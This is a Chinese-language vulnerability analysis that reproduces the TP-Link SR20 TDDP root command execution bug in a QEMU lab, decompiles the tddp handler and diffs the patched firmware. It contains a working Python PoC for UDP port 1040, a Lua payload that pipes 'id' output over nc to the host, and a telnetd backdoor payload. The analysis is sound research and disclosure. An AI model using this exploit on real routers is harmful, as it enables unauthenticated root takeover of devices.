TP-Link SR20 本地网络远程代码执行漏洞

知道创宇404 ScanV 安全服务团队

简述

3月26号 Google 安全开发人员 Matthew Garrett在 Twitter 上公布了 TP-Link Smart Home Router (SR20) 的远程代码执行漏洞，公布的原因是他去年 12 月份将相关漏洞报告提交给 TP-Link后没有收到任何回复，于是就公开了，该漏洞截至目前官方修复，在最新固件中漏洞仍然存在，属于 0day 漏洞，当我看到漏洞证明代码(POC)后决定尝试重现此漏洞

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器，此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令，该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中，TDDP 是 TP-Link 申请了专利的调试协议，基于 UDP 运行在 1040 端口

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议，V1 版本无需认证，只需往 SR20 设备的 UDP 1040 端口发送数据，且数据的第二字节为 0x31 时，SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行，这就导致存在远程代码执行漏洞

漏洞复现

根据文章的描述，漏洞的基理为：TP-Link SR20 设备运行了 V1 版本的 TDDP 协议，V1 版本无需认证，只需往 SR20 设备的 UDP 1040 端口发送数据，且数据的第二字节为 0x31 时，SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行，这就导致存在远程代码执行漏洞。

首先是对漏洞进行复现，后面再对漏洞原理进行分析。

首先是固件下载，固件可在官网进行下载。最新的固件版本为SR20(US)_V1_190401_V1_190401.zip)，此为已经修复漏洞的版本。存在漏洞的版本为SR20(US)_V1_180518_V1_180518.zip)。将两个版本的固件都下下来，后续还会使用bindiff对二者进行比对，来看是如何修复该漏洞的。

接着是环境搭建，最主要的是qemu和binwalk的安装。环境搭建的过程可以参考之前的文章，同时一键安装iot环境的脚本，也可以用用，虽然不全，但是也包含了一些，还需要手动操作的就是以系统模式运行qemu的时候还需要配置下网卡。

固件和环境都配好了以后，接下来就是解压固件，使用以下命令将漏洞版本的文件系统提取出来：

binwalk -Me sr20.bin

然后查看文件类型：

$ file ./squashfs-root/bin/busybox
./squashfs-root/bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped

可以看到文件是基于arm 32位的小端ELF文件。

qemu分析环境模拟

接着使用qemu系统模式运行起来一个arm虚拟机，虚拟机的下载地址为https://people.debian.org/~aurel32/qemu/armhf/，运行命令为（需配置好网络，可参考文章）：

ARM CPU 有两个矢量浮点（软浮点和硬浮点）具体区别可以查看 Stackoverflow，本次选择使用硬浮点 armhf

从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件:

  • debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M

  • initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M

  • vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M

把以上三个文件放在同一个目录执行以下命令

$ sudo tunctl -t tap0 -u `whoami`  # 为了与 QEMU 虚拟机通信，添加一个虚拟网卡
$ sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
123

虚拟机启动成功后会提示登陆

用户名和密码都为 root

配置网卡IP

ifconfig eth0 10.10.10.2/24

此时 QEMU 虚拟机可以与宿主机进行网络通信

固件打包上传到qemu虚拟机

在宿主机中压缩文件系统并启动web服务：

tar jcf tar -jcf squashfs-root.tar.bz2 squashfs-root
python -m SimpleHTTPServer 80

然后在qemu虚拟机中下载文件系统:

wget http://10.10.10.1/squashfs-root.tar.bz2
tar jxf squashfs-root.tar.bz2

接着使用 chroot 切换根目录固件文件系统。

mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell

使用 chroot 后，系统读取的是新根下的目录和文件，也就是固件的目录和文件。 chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录。

到此可以看到已经切换到了该固件的环境

root@debian-armhf:~/work# mount -o bind /dev ./squashfs-root/dev/
root@debian-armhf:~/work# mount -t proc /proc/ ./squashfs-root/proc/
root@debian-armhf:~/work# chroot squashfs-root sh


BusyBox v1.19.4 (2018-05-18 20:52:39 PDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #

然后宿主机中安装ftp服务器：

sudo apt install tftpd-hpa

配置ftp服务：

# /etc/default/tftpd-hpa

TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/tftpboot"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="--secure"

配置目录

sudo mkdir /tftproot
sudo chmod 777 /tftproot

启动服务

sudo service tftpd-hpa start

实际展示

前面都是准备环境的环节，接着就是复现漏洞的真正操作部分了。

重现步骤为：

  1. QEMU 虚拟机中启动 tddp 程序

  2. 宿主机使用 NC 监听端口

  3. 执行 POC，获取命令执行结果

在 atftp 的根目录 /tftpboot 下写入 payload 文件 payload 文件内容为：

function config_test(config)
  os.execute("id | nc 10.10.10.1 1337")
end

接着在qemu虚拟机中启动tddp程序。

然后在宿主机中监听1337端口。

最后执行poc，就可以看到nc连回的结果了，我后面使用pwntools重写了之前的poc，因此这里就不贴出poc了，在后面再给出链接。

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

漏洞分析

根据漏洞描述以及相应的报告知道了漏洞出现在程序tddp中，搜索该程序，得到该程序的路径为/usr/bin/tddp，将该程序拖入IDA中进行分析。

程序规模不大，看起来和一般的pwn题差不多，所以我也就从main函数开始看了，经过重命名的main函数如下。

关键代码在tddp_task_handle中，跟进去该函数，看到函数进行了内存的初始化以及socket的初始化，在端口1040进行了端口监听，同时也可以看到这些字符串也是poc执行代码中命令行界面中显示出来的字符串。

进入的关键函数为tddp_type_handle，跟进去该函数。

可以看到该在代码里首先使用recvfrom接收了最多0xAFC8字节的数据，然后判断第一个字节是否为1或2，根据前面说明的tddp协议的格式，知道第一个字节为version字段。图中截出的为version为1的情况，进入到tddp_version1_type_handle函数中。跟进去该函数。

int __fastcall tddp_version1_type_handle(tddp_ctx *ctx, _DWORD *count)
{
  uint32_t v2; // r0
  __int16 v3; // r2
  uint32_t v4; // r0
  __int16 v5; // r2
  _DWORD *v7; // [sp+0h] [bp-24h]
  char *v9; // [sp+Ch] [bp-18h]
  char *v10; // [sp+10h] [bp-14h]
  int v11; // [sp+1Ch] [bp-8h]

  v7 = count;
  v10 = ctx->rev_buff;
  v9 = ctx->some_buff;
  ctx->some_buff[0] = 1;
  switch ( ctx->rev_buff[1] )                   // check type
  {
    case 4:
      printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", "tddp_parserVerOneOpt", 697);
      v11 = CMD_AUTO_TEST(ctx);
      break;
    case 6:
      printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
      v11 = CMD_CONFIG_MAC(ctx);
      break;
    case 7:
      printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", "tddp_parserVerOneOpt", 648);
      v11 = CMD_CANCEL_TEST(ctx);
      if ( !ctx || !(ctx->field_2C & 4) || !ctx || !(ctx->field_2C & 8) || !ctx || !(ctx->field_2C & 0x10) )
        ctx->field_2C &= 0xFFFFFFFD;
      ctx->rev_flag = 0;
      ctx->field_2C &= 0xFFFFFFFE;
      break;
    case 8:
      printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", "tddp_parserVerOneOpt", 702);
      ctx->field_2C &= 0xFFFFFFFE;
      v11 = 0;
      break;
    case 0xA:
      printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
      v11 = CMD_GET_PROD_ID(ctx);
      break;
    case 0xC:
      printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
      if ( ctx && ctx->field_2C & 2 )
      {
        v9[1] = 4;
        v9[3] = 0;
        v9[2] = 1;
        v2 = htonl(0);
        *((_WORD *)v9 + 2) = v2;
        v9[6] = BYTE2(v2);
        v9[7] = HIBYTE(v2);
        v3 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
        v9[8] = v10[8];
        v9[9] = HIBYTE(v3);
        v11 = 0;
      }
      else
      {
        ctx->field_2C &= 0xFFFFFFFE;
        v11 = -10411;
      }
      break;
    case 0xD:
      printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
      v11 = CMD_CONFIG_PIN(ctx);
      break;
    case 0x30:
      printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
      v11 = CMD_FTEST_USB(ctx);
      break;
    case 0x31:
      printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", "tddp_parserVerOneOpt", 692);
      v11 = CMD_FTEST_CONFIG(ctx);
      break;
    default:
      printf("[%s():%d] TDDPv1: receive unknown type: %d\n", 103928, 713, (unsigned __int8)ctx->rev_buff[1], count);
      v9[1] = v10[1];
      v9[3] = 2;
      v9[2] = 2;
      v4 = htonl(0);
      *((_WORD *)v9 + 2) = v4;
      v9[6] = BYTE2(v4);
      v9[7] = HIBYTE(v4);
      v5 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
      v9[8] = v10[8];
      v9[9] = HIBYTE(v5);
      v11 = -10302;
      break;
  }
  *v7 = ntohl(((unsigned __int8)v9[7] << 24) | ((unsigned __int8)v9[6] << 16) | ((unsigned __int8)v9[5] << 8) | (unsigned __int8)v9[4])
      + 12;
  return v11;

程序判断接收数据的第二字节，并根据其类型调用相关代码。根据协议格式，第二字节为type字段，同时根据poc，知道了出问题的类型为0x31。看上面的代码我们知道0x31对应为CMD_FTEST_CONFIG，看专利说明知道该字段为配置程序：

[0049] For setting the configuration information and the configuration information, without subtype. Thus, this type of packet subtype SubType value is cleared (0x00)

跟进去该函数看是如何实现的：

可以看到该函数中就从数据中获取了字符串并形成命令cd /tmp;tftp -gr %s %s，即实现了使用tftp去连接过来的ip地址中下载相应的文件，并最终通过c代码调用该文件中的config_test函数，从而实现任意代码执行。

事实上，根据最终使用的是execve函数来执行tftp下载，该漏洞也可以形成一个命令注入漏洞。

至此，漏洞分析结束。

补丁比对

最新版本的固件已经修复了该漏洞，我想比对下厂商是如何修复该漏洞的。用bindiff将该程序与最新版本的固件中的tddp程序进行对比。

可以看到tddp_version1_type_handle存在一定的差距，查看该函数的流程。

可以看到流程图中部分的基本块被删除了，猜测是直接将0x31字段对应的基本块给删掉了来修复该漏洞。

点击各个基本块，可以看到确实是CMD_FTEST_CONFIG基本块被删掉了。同时也可以在ida中确认该基本块被删除。

小结

该漏洞只能称之为任意命令执行（ACE）而不是远程命令执行（RCE）的原因似乎是因为TDDP 服务只能通过有线网络访问，连 Wi-Fi 也不能访问，没有真机，不好确认，有点可惜。

总的来说，漏洞还是很简单的。tddp第一版协议竟然未对用户进行验证就允许执行如此强大的调试功能，实在是有点不应该。

相关代码和脚本在我的github

参考链接

  1. 重现 TP-Link SR20 本地网络远程代码执行漏洞

  2. A Story About TP-link Device Debug Protocol (TDDP) Research

  3. Data communication method, system and processor among CPUs

  4. [Remote code execution as root from the local network on TP-Link SR20 routers]

  5. Download for SR20 V1

  6. lua学习笔记3-c调用lua

  7. MIPS漏洞调试环境安装及栈溢出

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